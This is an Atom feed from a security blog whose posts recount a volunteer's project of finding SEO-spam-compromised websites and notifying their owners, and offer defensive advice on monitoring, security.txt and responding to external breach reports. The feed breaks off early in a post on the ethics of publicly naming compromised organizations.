<?xml version="1.0" encoding="utf-8"?> 
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <generator uri="https://gohugo.io/" version="0.123.7">Hugo</generator><title type="html"><![CDATA[Your Fly Is Open]]></title>
    
        <subtitle type="html"><![CDATA[Netmenaces and Other Internet Stupidity]]></subtitle>
    
    
    
            <link href="https://yourflyis0pen.com/" rel="alternate" type="text/html" title="html" />
            <link href="https://yourflyis0pen.com/index.json" rel="alternate" type="application/json" title="json" />
            <link href="https://yourflyis0pen.com/index.xml" rel="alternate" type="application/rss+xml" title="rss" />
            <link href="https://yourflyis0pen.com/atom.xml" rel="self" type="application/atom+xml" title="atom" />
    <updated>2026-01-31T11:11:20-06:00</updated>
    
    
    
    
        <id>https://yourflyis0pen.com/</id>
    
        
        <entry>
            <title type="html"><![CDATA[400]]></title>
            <link href="https://yourflyis0pen.com/article/400/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/happy_new_year/?utm_source=atom_feed" rel="related" type="text/html" title="Happy New Year!" />
                <link href="https://yourflyis0pen.com/article/value/?utm_source=atom_feed" rel="related" type="text/html" title="Calculating Value" />
                <link href="https://yourflyis0pen.com/article/beyond_the_alert/?utm_source=atom_feed" rel="related" type="text/html" title="Beyond the Alert: How External Breach Notifications Should Reshape Your Security" />
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
                <link href="https://yourflyis0pen.com/article/outside/?utm_source=atom_feed" rel="related" type="text/html" title="Learning From The Outside: A Wake-Up Call For Security Teams" />
            
                <id>https://yourflyis0pen.com/article/400/</id>
            
            
            <published>2025-09-28T07:00:00-05:00</published>
            <updated>2025-09-28T07:00:00-05:00</updated>
            
            
            <content type="html"><![CDATA[<p><em>Did you really think I would stop when I got to 365?</em></p>
<p>For some time now, I&rsquo;ve been writing about a New Year&rsquo;s resolution I made to find and notify at least one organization per day about their compromised web servers in 2025. In my last update, I had just notified the 365th site, back on the 261st day of 2025. That completed my goal - I&rsquo;d notified one site for every day of the year.</p>
<p>Goal accomplished! Was it time to kick back and relax?</p>
<p>Nope!</p>
<p>It&rsquo;s now day 271, and I&rsquo;ve just sent notification number 400.</p>
<p>Over the course of the year, the landscape hasn&rsquo;t changed much. The internet remains a target-rich environment, and identifying compromised systems remains alarmingly simple. The path of least resistance is still a four-lane highway paved with outdated plugins and neglected content management systems.</p>
<h2 id="the-million-dollar-couch-project">The &ldquo;Million-Dollar&rdquo; Couch Project</h2>
<p>When I wrote the last post, I threw out some conservative financial impact estimates. Now, with 400 organizations notified, we&rsquo;ve crossed the $1,000,000 mark as a median potential financial impact. All from a retired guy on his couch using Google. It’s a number that feels both significant and deeply concerning. It illustrates the scale of the problem and how a modest amount of pro-bono effort can go a very long way.</p>
<h2 id="the-human-element-the-good-the-bad-and-the-confused">The Human Element: The Good, The Bad, and The Confused</h2>
<p>The biggest lesson from these last notifications hasn&rsquo;t been technical. It’s been about the human response. When you tell someone their fly is open, you get a range of reactions. It’s no different in the digital world.</p>
<ul>
<li>
<p><em>The Grateful:</em> The vast majority of people I hear from are appreciative. They&rsquo;re small business owners who are stretched thin and simply didn&rsquo;t know. They are thankful for the quiet, non-judgmental heads-up. These are the responses that make the project worthwhile.</p>
</li>
<li>
<p><em>The Suspicious:</em> A fair number of people are immediately suspicious. &ldquo;How do I know you&rsquo;re not the hacker?&rdquo; It&rsquo;s a valid question in a world full of scams. It highlights the trust deficit that exists online and makes clear communication absolutely critical. I&rsquo;ve learned to be patient and provide as much verifiable, non-threatening information as possible.</p>
</li>
<li>
<p><em>The Silent:</em> And then there are the silent ones - this is the VAST majority of folks I contact. Emails go into a void, contact forms are submitted with no reply. Oftentimes, the site gets silently cleaned up. Sometimes the site remains compromised. This is the most frustrating part. You can lead a horse to water, but you can&rsquo;t make it patch its WordPress installation.</p>
</li>
</ul>
<h1 id="why-is-this-still-so-hard">Why Is This Still So Hard?</h1>
<p>The core challenge remains what it was on day one: contact. Finding the right person to receive a security notification is often more challenging than identifying the vulnerability itself. The absence of a simple <code>security.txt</code> file on most websites turns a 5-minute task into a 30-minute investigation. For a business, this is a critical, and easily fixable, blind spot.</p>
<p>This project continues to be a poignant reminder of the vast gap between the technical reality of cybersecurity and the day-to-day reality faced by individuals running businesses online. We&rsquo;ve got to do better at bridging that gap.</p>
<p>On to notification 500!</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
June 3, 2025</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/notification" term="notification" label="notification" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Happy New Year!]]></title>
            <link href="https://yourflyis0pen.com/article/happy_new_year/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/value/?utm_source=atom_feed" rel="related" type="text/html" title="Calculating Value" />
                <link href="https://yourflyis0pen.com/article/beyond_the_alert/?utm_source=atom_feed" rel="related" type="text/html" title="Beyond the Alert: How External Breach Notifications Should Reshape Your Security" />
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
                <link href="https://yourflyis0pen.com/article/outside/?utm_source=atom_feed" rel="related" type="text/html" title="Learning From The Outside: A Wake-Up Call For Security Teams" />
                <link href="https://yourflyis0pen.com/article/optimized_and_improved/?utm_source=atom_feed" rel="related" type="text/html" title="Opimized and Improved" />
            
                <id>https://yourflyis0pen.com/article/happy_new_year/</id>
            
            
            <published>2025-09-18T07:00:00-05:00</published>
            <updated>2025-09-18T07:00:00-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>Happy New Year!</p>
<p>Today, September 18, 2025, is the 261st day of 2025, but for me, it&rsquo;s December 31.</p>
<p>For anyone who&rsquo;s been following my journey to accomplish my New Year&rsquo;s Resolution, that statement might make sense. Today, I contacted my 365th organization, informing them that their web server has been compromised and is serving questionable content. My goal to identify one hacked system and notify its owner for each day in 2025 is complete.</p>
<p>Based on calculations performed by an AI, a reasonably conservative estimate of the financial impact of this adventure lies somewhere between $547,500.00 and $1,104,125.00.</p>
<p>Not too bad for some old, retired dude sitting on his couch.</p>
<p>What sort of exotic tools allowed me to have that impact? <em>Google.</em></p>
<p>Yep, Google.</p>
<p>You see, the vast majority of the organizations I contacted had their web servers hacked by scammy folks trying to boost their search engine placement - all to sell more supplements, Roblox hacks, TikTok follower generators, ways to see private Instagram accounts, or tools to generate AI porn.</p>
<p>Pretty seedy stuff that no one wants associated with their organization.</p>
<p>Suppose you know what vulnerabilities the SEO hackers are using to add new pages to sites (and therefore, where those pages will land). Suppose you also know the verbiage they&rsquo;re using to seed their campaigns to search engines.</p>
<p>It becomes remarkably easy to find hacked websites on Google.</p>
<p>Then you face your next problem: finding someone to tell.</p>
<p>Suppose someone places new, inappropriate pages on your website, and you&rsquo;re not watching your web server logs closely enough to see those pages being served. Do you also monitor your feedback forms or general email address for security incident reports from some crazy old guy on his couch?</p>
<p>I&rsquo;m going to say, <em>&ldquo;No.&rdquo;</em></p>
<p>I did my best to get their attention. In some cases, I&rsquo;ve even resorted to narking to financial industry regulators to get something done. I estimate that between 60%-80% of the sites have been cleaned, and I&rsquo;ll go back through my list and keep trying on the rest.</p>
<p>It&rsquo;s exhausting.</p>
<p>I&rsquo;m going to wrap up this little project by preaching to the choir, telling the absolutely wrong people the right information:</p>
<ul>
<li>
<p>Monitor your web server logs. If you see a page being served that you don&rsquo;t recognize, investigate.</p>
</li>
<li>
<p>Publish a &ldquo;security.txt&rdquo; file on your website (see <a href="https://www.rfc-editor.org/rfc/rfc9116">RFC-9116</a>) and monitor the contact address (out of 365 organizations, 3 had a &ldquo;security.txt&rdquo; file; I almost fainted when I saw one).</p>
</li>
</ul>
<p>But you knew all of that, didn&rsquo;t you?</p>
<p>And, just because:</p>
<p><em>We&rsquo;ll Drink A Cup of Kindness Yet,<br>
for Auld Lang Syne&hellip;</em></p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
June 3, 2025</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/notification" term="notification" label="notification" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Calculating Value]]></title>
            <link href="https://yourflyis0pen.com/article/value/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/beyond_the_alert/?utm_source=atom_feed" rel="related" type="text/html" title="Beyond the Alert: How External Breach Notifications Should Reshape Your Security" />
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
                <link href="https://yourflyis0pen.com/article/outside/?utm_source=atom_feed" rel="related" type="text/html" title="Learning From The Outside: A Wake-Up Call For Security Teams" />
                <link href="https://yourflyis0pen.com/article/optimized_and_improved/?utm_source=atom_feed" rel="related" type="text/html" title="Opimized and Improved" />
                <link href="https://yourflyis0pen.com/article/public_disclosure/?utm_source=atom_feed" rel="related" type="text/html" title="The Ethics of Publicly Naming Compromised Systems" />
            
                <id>https://yourflyis0pen.com/article/value/</id>
            
            
            <published>2025-06-03T07:00:00-05:00</published>
            <updated>2025-06-03T07:00:00-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>Today is the 154th day of 2025, and I&rsquo;ve currently contacted 170 organizations to inform them that they have a compromised system connected to the Internet.</p>
<p>The bulk of these compromised systems are the organization&rsquo;s web servers, and these tend to host new, unlinked pages that advertise questionable content.</p>
<p>At the beginning of the year, on a whim, I decided to make a New Year&rsquo;s resolution: attempt to find at least one compromised system and contact the owner every day in 2025. At this point, I&rsquo;m more than a bit surprised at how easy the &ldquo;finding&rdquo; part has been.</p>
<p>All of this has prompted me to reflect on the overall impact of my New Year&rsquo;s resolution.</p>
<p>Because the bulk of the notifications I&rsquo;ve sent have been &ldquo;SEO-hack&rdquo; related, just how much is it worth to an organization to have someone notify them that their website is hosting pages advertising &ldquo;XXX videos,&rdquo; &ldquo;reviews&rdquo; of herbal supplements (that are ads), or links to &ldquo;Free Robux/Walmart gift card/V-Bucks/TikTok followers&rdquo; generators.</p>
<p>$10? $50? $100? $1000?</p>
<p>What is it worth to be able to remove a potential source of reputational harm? What is the value of someone quietly telling you that your website is advertising something skeevy?</p>
<p>If I were to place a value on the potential reputational harm, I think my current 170 notifications are probably worth somewhere north of $100,000.</p>
<p>But that&rsquo;s just me.</p>
<p>Maybe I&rsquo;m trying to make myself feel good.</p>
<p>And I do.</p>
<p>It&rsquo;s not so much about the dollar value of my 2025 hack notifications.</p>
<p>I hate bullies.</p>
<p>There are all kinds of bullying. Physical intimidation. Mental cruelty.</p>
<p>One of the earliest drivers pushing me to work in Security was this: I hate it when smart people use their intelligence to take advantage of others. It&rsquo;s precisely like someone using their physical stature or prowess to bully a smaller or less athletic person.</p>
<p>These 170 notifications mean more to me than a dollar value can represent.</p>
<p>Each one represents a little justice.</p>
<p>And you can&rsquo;t put a dollar value on that.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
June 3, 2025</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/notification" term="notification" label="notification" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Beyond the Alert: How External Breach Notifications Should Reshape Your Security]]></title>
            <link href="https://yourflyis0pen.com/article/beyond_the_alert/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
                <link href="https://yourflyis0pen.com/article/outside/?utm_source=atom_feed" rel="related" type="text/html" title="Learning From The Outside: A Wake-Up Call For Security Teams" />
                <link href="https://yourflyis0pen.com/article/optimized_and_improved/?utm_source=atom_feed" rel="related" type="text/html" title="Opimized and Improved" />
                <link href="https://yourflyis0pen.com/article/public_disclosure/?utm_source=atom_feed" rel="related" type="text/html" title="The Ethics of Publicly Naming Compromised Systems" />
                <link href="https://yourflyis0pen.com/article/knowtoomuch/?utm_source=atom_feed" rel="related" type="text/html" title="Knowledge Problems" />
            
                <id>https://yourflyis0pen.com/article/beyond_the_alert/</id>
            
            
            <published>2025-05-07T07:00:00-05:00</published>
            <updated>2025-05-07T07:00:00-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>I notify many, many organizations that they have compromised systems.</p>
<p>Some people collect coins, and some collect stamps. I spend some of my free time each week looking for hacked systems on the Internet.</p>
<p>Hey&hellip; it's a hobby.</p>
<p>Last week, my wife and I were sitting at breakfast with our financial advisor for a quarterly meeting when my cell phone rang. The caller ID indicated an acronym that seemed familiar, so I excused myself and answered the call.</p>
<p>The caller quickly explained that he was calling in response to an email I'd sent the day before outlining some facts that led me to believe that someone had compromised their organization's website. In the email, I made recommendations for the next steps, but he was calling to request additional assistance&mdash;what my friend Ed Skoudis used to refer to as the <em>vortex of free consulting.</em> I did my best to give him some quick pointers without being sucked into indentured servitude.</p>
<p>After I hung up the call, I started thinking about providing something more&mdash;some kind of documentation for how to move forward when you learn you've been breached. This post is the result of that thinking.</p>
<p>One of my New Year's resolutions for 2025 is to identify and notify one organization each day that they are compromised. So far, I'm ahead of schedule&mdash;today is day 127 and I&rsquo;ve notified 130. This experience highlights a more uncommon scenario: an organization first learns of a breach not from its sophisticated internal tools but from an external party.</p>
<p>I aim to explore what organizations should learn when someone <em>without</em> internal access (no logs, no monitoring dashboards) finds evidence of a compromise. How should this specific type of discovery prompt deeper changes to their security posture?</p>
<p>An external notification isn't just another security ticket. It signifies that <em>all internal defenses and detection mechanisms failed</em> to notice an active compromise. Unlike an internal alert (which shows your security monitoring <em>worked</em>), an external notification proves that:</p>
<p><em><ol></p>
<li>
Someone bypassed preventative controls (firewalls, patching, hardening).
</li>
<li>
Detection controls (IDS/IPS, log monitoring, file integrity checks, security scans) either weren't in place, were misconfigured, or didn't cover the specific attack vector or compromised asset.
</li>
<li>
Monitoring was insufficient to spot the <em>symptoms</em> of the breach (e.g., strange website behavior, blocklisting, unusual traffic).
</li>
</ol></em>
<p>The compromise might have existed for days, weeks, or even months before external detection. The longer the <em>dwell time</em>, the greater the potential damage.</p>
<h2 id="key-lessons-organizations-should-learn-from-an-external-breach-notification">Key Lessons Organizations Should Learn From An External Breach Notification</h2>
<h4 id="lesson-1-your-detection-capabilities-are-insufficient">Lesson 1: Your Detection Capabilities Are Insufficient.</h4>
<p><strong>Problem:</strong> Your current security stack (WAF, IDS/IPS, AV, EDR, SIEM) didn't catch the active breach.</p>
<p><strong>Actionable Insight:</strong> Don't just fix the specific vulnerability. Ask why it wasn't detected. Review tool configurations, rule sets, and coverage. Are you monitoring the right things? Are alerts being generated but ignored (alert fatigue)? Consider implementing or enhancing technologies like File Integrity Monitoring (FIM), external website scanning, and ensuring logs capture meaningful events.</p>
<h4 id="lesson-2-monitoring-needs-broader-scope--depth">Lesson 2: Monitoring Needs Broader Scope &amp; Depth.</h4>
<p><strong>Problem:</strong> Both the entry into your system and the activity or outcome of the compromise (e.g., defaced page, malicious redirect, server sending spam) weren't flagged internally.</p>
<p><strong>Actionable Insight:</strong> Expand monitoring beyond basic server health. Monitor website content changes, DNS records, SSL certificate validity, outbound traffic patterns, and public blocklists. Implement comprehensive logging across web servers, databases, OS, and applications, and ensure these logs are analyzed, not just stored.</p>
<h4 id="lesson-3-prevention-strategies-need-re-evaluation">Lesson 3: Prevention Strategies Need Re-evaluation.</h4>
<p><strong>Problem:</strong> Someone successfully exploited a vulnerability, or credentials were compromised.</p>
<p><strong>Actionable Insight:</strong> This goes beyond just patching the exploited flaw. Review your entire vulnerability management program (scanning frequency, patching SLAs). Assess web application security practices (secure coding, input validation). Re-evaluate access controls, password policies, and the implementation of Multi-Factor Authentication (MFA) everywhere possible. Harden systems based on security benchmarks.</p>
<h4 id="lesson-4-incident-response-plans-must-account-for-external-input">Lesson 4: Incident Response Plans Must Account for External Input.</h4>
<p><strong>Problem:</strong> How did the organization react to an external notification? Was there a straightforward process? Was it efficient?</p>
<p><strong>Actionable Insight:</strong> Review or create an Incident Response (IR) plan. Does it include steps for validating and acting upon external reports? Who is responsible? How quickly can systems be isolated, analyzed, and restored? Practice the plan (e.g., tabletop exercises), including this scenario.</p>
<h4 id="lesson-5-the-assumed-breach-mentality-is-non-negotiable">Lesson 5: The &quot;Assumed Breach&quot; Mentality is Non-Negotiable.</h4>
<p><strong>Problem:</strong> Relying solely on prevention and perimeter defense creates a false sense of security.</p>
<p><strong>Actionable Insight:</strong> Shift towards an &quot;assumed breach&quot; mindset. This means proactively hunting for threats within the network, assuming attackers may already be present. It reinforces the need for robust detection, monitoring, and response capabilities, as you can't prevent every attack.</p>
<h4 id="how-external-notification-should-change-security-posture--system-security">How External Notification Should Change Security Posture &amp; System Security</h4>
<ol>
<li>
<strong>From Reactive to Proactive:</strong> The notification should trigger a shift from merely fixing the immediate issue to proactively improving underlying weaknesses.
</li>
<li>
<strong>Invest in Visibility:</strong> Prioritize tools and processes that improve visibility into system activity and potential compromises (better logging, SIEM, EDR, FIM, external monitoring).
</li>
<li>
<strong>Strengthen the Foundations:</strong> Double down on security fundamentals, such as timely patching, secure configurations, strong access controls, network segmentation, and user awareness training.
</li>
<li>
<strong>Refine Incident Response:</strong> Ensure the IR plan is robust, tested, and includes clear steps for handling external notifications efficiently and respectfully.
</li>
<li>
<strong>Embrace External Reporting:</strong> Please (!) create clear, easy-to-find channels for security researchers to report vulnerabilities (e.g., a security.txt file with a dedicated security email address). Treat these reports seriously and thankfully. Lashing out at the person notifying you is <em>truly</em> bad form. Don't do it.
</li>
</ol>
<h4 id="in-summary">In Summary&hellip;</h4>
<p>Finally, I acknowledge that receiving a notification from an unrelated third party that someone has compromised your organization is a humbling experience.</p>
<p>You missed something. You may have missed several things.</p>
<p>Rather than taking it as a defeat, using it as a learning experience is the best way to move forward and improve.</p>
<p>And isn't that really what we all want to do?</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 7, 2025</p>
<p>P.S.: I briefly considered adding a link to this blog post to my standard report language. Unfortunately, the uh&hellip; rather <em>interesting</em> name of this site might make it a bit more challenging to get my messages taken seriously.</p>
<p>Sigh&hellip; The compromises we must make for art.</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/notification" term="notification" label="notification" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Learning From The Outside: A Wake-Up Call For Security Teams]]></title>
            <link href="https://yourflyis0pen.com/article/outside/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/public_disclosure/?utm_source=atom_feed" rel="related" type="text/html" title="The Ethics of Publicly Naming Compromised Systems" />
                <link href="https://yourflyis0pen.com/article/ishmael/?utm_source=atom_feed" rel="related" type="text/html" title="Call me Ishmael" />
                <link href="https://yourflyis0pen.com/article/priorities/?utm_source=atom_feed" rel="related" type="text/html" title="Priorities" />
                <link href="https://yourflyis0pen.com/article/danger-will-robinson/?utm_source=atom_feed" rel="related" type="text/html" title="Danger, Will Robinson!" />
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
            
                <id>https://yourflyis0pen.com/article/outside/</id>
            
            
            <published>2024-12-10T17:00:00-05:00</published>
            <updated>2024-12-10T17:00:00-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>I spend significant time each week trolling through Google, using very targeted searches to find compromised websites, and I&rsquo;ve found a lot. When I discover one, I try various ways to contact someone who can clean up the site.</p>
<p>Yes, I often find vanity sites or the sites of small mom-and-pop businesses that someone has hacked. However, I&rsquo;ve also found a lot of large companies—medical facilities, financial institutions, and international manufacturing businesses.</p>
<p>What is the takeaway here? In security, the ideal is for internal teams to detect and respond to threats swiftly and independently. However, I show up—suddenly and unannounced—uncovering an overlooked compromise. While this may initially be a very uncomfortable realization for a company, leveraging this as a learning opportunity is essential.</p>
<h4 id="lessons-learnedintrospection-and-humility">Lessons Learned—Introspection And Humility:</h4>
<p>Recognizing that an outsider discovered a compromise is a stark reminder that no organization is infallible. Companies must approach this revelation with humility and openness. Acknowledging that a gap exists is the first step toward improving security protocols.</p>
<p>Why was the breach not detected internally? Analyzing this should uncover weaknesses in current monitoring and alert systems. Reassess the tools and processes for monitoring your network traffic, log analysis, and anomaly detection.</p>
<p>A breach is often the result of human error or outdated knowledge. Regular training and up-to-date threat intelligence can help your staff to recognize and respond to potential threats more effectively. Many of the searches I perform target specific, known web vulnerabilities—your team SHOULD catch these if they target systems or software you use. If they didn&rsquo;t, perhaps this indicates a training deficiency.</p>
<p>Conduct frequent third-party security audits to obtain an unbiased assessment of your cybersecurity posture. These audits can emulate the outsider perspective and highlight areas of vulnerability before attackers can exploit them.</p>
<p>The experience of learning about a breach from an external source should be a catalyst for change within an organization. It underscores the need for a dynamic, robust, continually evolving cybersecurity strategy. Addressing the gaps that allow an outsider to highlight your vulnerabilities before your team finds them should transform a potentially damaging event into a stepping stone to improvement.</p>
<p>The ability to adapt and learn from any source—internal or external—is the hallmark of a truly secure organization. By embracing the lessons an external discovery provides, companies protect themselves from future threats and cultivate an environment of continuous improvement and vigilance.</p>
<p>One final note: Always say &ldquo;<em>thank you</em>&rdquo; to the person who tells you you&rsquo;re hacked. I know one guy who really appreciates it.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
December 10, 2024</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                             
                                <category scheme="https://yourflyis0pen.com/categories/professionalism" term="professionalism" label="professionalism" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/notification" term="notification" label="notification" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Opimized and Improved]]></title>
            <link href="https://yourflyis0pen.com/article/optimized_and_improved/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/knowtoomuch/?utm_source=atom_feed" rel="related" type="text/html" title="Knowledge Problems" />
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
                <link href="https://yourflyis0pen.com/article/if-i-cant-see-it/?utm_source=atom_feed" rel="related" type="text/html" title="If I Cant See It, It Isn&#39;t A Problem..." />
                <link href="https://yourflyis0pen.com/article/rabbits/?utm_source=atom_feed" rel="related" type="text/html" title="Cool little round pebbles" />
                <link href="https://yourflyis0pen.com/article/putting-the-ed-in-edu/?utm_source=atom_feed" rel="related" type="text/html" title="Putting the ED in EDU..." />
            
                <id>https://yourflyis0pen.com/article/optimized_and_improved/</id>
            
            
            <published>2024-11-10T14:00:00-05:00</published>
            <updated>2024-11-10T14:00:00-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>I&rsquo;ve contacted them several times.</p>
<p>I&rsquo;ve talked about it on LinkedIn and publicly called them out on this issue.</p>
<p>The <a href="https://www.commerce.gov/">U.S. Department of Commerce</a> and <a href="https://www.tylertech.com/solutions/transformative-technology/data-insights">Tyler Data &amp; Insights</a> still have a website chock full of pages used to boost SEO for online <em>no-prescription-needed</em> pharma.</p>
<p>I may be too harsh. Addressing this issue must be much more complicated than I imagined.</p>
<p>I decided to examine the website more closely to get a better idea of what was going on.</p>
<p>The website in question is <a href="https://uspto.data.commerce.gov/">here</a>.</p>
<p>When the page loads, I see a button at the top promising improved experience and performance. &ldquo;Improved&rdquo; is a no-brainer, so I click through to see the results. (I applaud any attempt at improvement—good on you, random government web developer.)</p>
<p>Let&rsquo;s look at what they describe as the &ldquo;new Catalog experience,&rdquo; shall we?</p>
<p>I&rsquo;m excited. Are you excited?</p>
<p>(Note: I am a bit concerned about the odd capitalization of <em>Catalog</em>. Is that necessary? But still, I&rsquo;m excited.)</p>
<p>My first thought on why removing the pharma-SEO pages was complicated was that they were just tiny bits of chaff found scattered amid a plethora of wheat. Someone has put great effort into optimizing this page; it says so at the top. These changes must&rsquo;ve been necessary to allow us to search through an enormous data catalog (uh&hellip; sorry&hellip; <em>Catalog</em>), of which the un-cleverly disguised fake datasets cum pharma-SEO is a minuscule portion.</p>
<p>Wait.</p>
<p>What&rsquo;s that I see?</p>
<p>With no search filters, the search page returns ninety-eight results.</p>
<p>Only ninety-eight datasets?</p>
<p>It&rsquo;s not my place to question what someone chooses to improve and optimize, but really? This site?</p>
<p>Wait. Let&rsquo;s see how much chaff there <strong>is</strong> when compared to the wheat.</p>
<p>There are only ninety-eight datasets. I can do this by hand.</p>
<p>After clicking through an exhausting ten pages of results (with a break for some water—always stay hydrated), I counted thirty-one bogus pages (Twenty-nine selling <em>no-prescription pharma</em>, one selling a <em>V-Bucks generator</em>, and a <em>test</em> page—<em>aren&rsquo;t scammers just so frickin&rsquo; cute when they act all business-like and test stuff?</em>).</p>
<p>Thirty-one out of ninety-eight.</p>
<p>I have a fascinating idea that can improve and optimize this website by 31.6%. Best of all, it doesn&rsquo;t require any changes to the website code.</p>
<p>Can you guess what it is?</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
November 10, 2024</p>
<p>P.S.: The issues listed in this blog entry were current as of the date this was published, November 10th, 2024. I sincerely hope they won&rsquo;t exist for long.</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[The Ethics of Publicly Naming Compromised Systems]]></title>
            <link href="https://yourflyis0pen.com/article/public_disclosure/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/ishmael/?utm_source=atom_feed" rel="related" type="text/html" title="Call me Ishmael" />
                <link href="https://yourflyis0pen.com/article/priorities/?utm_source=atom_feed" rel="related" type="text/html" title="Priorities" />
                <link href="https://yourflyis0pen.com/article/danger-will-robinson/?utm_source=atom_feed" rel="related" type="text/html" title="Danger, Will Robinson!" />
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
                <link href="https://yourflyis0pen.com/article/knowtoomuch/?utm_source=atom_feed" rel="related" type="text/html" title="Knowledge Problems" />
            
                <id>https://yourflyis0pen.com/article/public_disclosure/</id>
            
            
            <published>2024-10-29T09:15:00+00:00</published>
            <updated>2024-10-29T09:15:00+00:00</updated>
            
            
            <content type="html"><![CDATA[<p>I spend some time each week researching what Internet miscreants are doing. Because of this, I often encounter compromised systems before their owners know of the breach. As I write this, I currently have outstanding contact attempts for ten organizations with compromised websites - some with which you&rsquo;re likely familiar.</p>
<p>While my primary goal is to alert these organizations so they can secure their systems, reaching the right people can be challenging. Some folks have suggested I publicly name these compromised organizations because it might spur them into action. However, this approach has significant pros and cons that need careful consideration.</p>
<p>In many ways, this debate mirrors the ongoing discussion over the public disclosure of security vulnerabilities. Like that debate, different individuals will likely agree with different sides of this question; I&rsquo;m not attempting to settle this debate but rather to clarify the pros and cons of the issue.</p>
